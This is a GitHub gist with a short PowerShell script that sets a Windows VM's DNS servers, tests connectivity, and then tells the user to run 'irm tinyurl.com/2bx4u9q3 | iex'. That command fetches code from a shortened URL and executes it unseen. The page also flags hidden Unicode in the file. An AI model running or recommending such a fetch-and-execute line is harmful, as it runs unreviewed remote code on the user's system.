Created
March 2, 2026 13:42
-
-
Save ciekawy/30867153926b9cc6cbbe43ed88bd09f1 to your computer and use it in GitHub Desktop.
WEB-9: Quick network DNS configuration for Windows VM
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # WEB-9: Network + SSH Key Quick Setup | |
| # Run after VirtIO network driver is installed | |
| Write-Host "Configuring DNS..." -ForegroundColor Cyan | |
| Set-DnsClientServerAddress -InterfaceAlias "Ethernet" -ServerAddresses ("8.8.8.8","8.8.4.4") | |
| Write-Host "Testing connectivity..." -ForegroundColor Cyan | |
| Test-NetConnection 8.8.8.8 | |
| Write-Host "DNS configured! Now run the full setup:" -ForegroundColor Green | |
| Write-Host "irm tinyurl.com/2bx4u9q3 | iex" -ForegroundColor Yellow |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment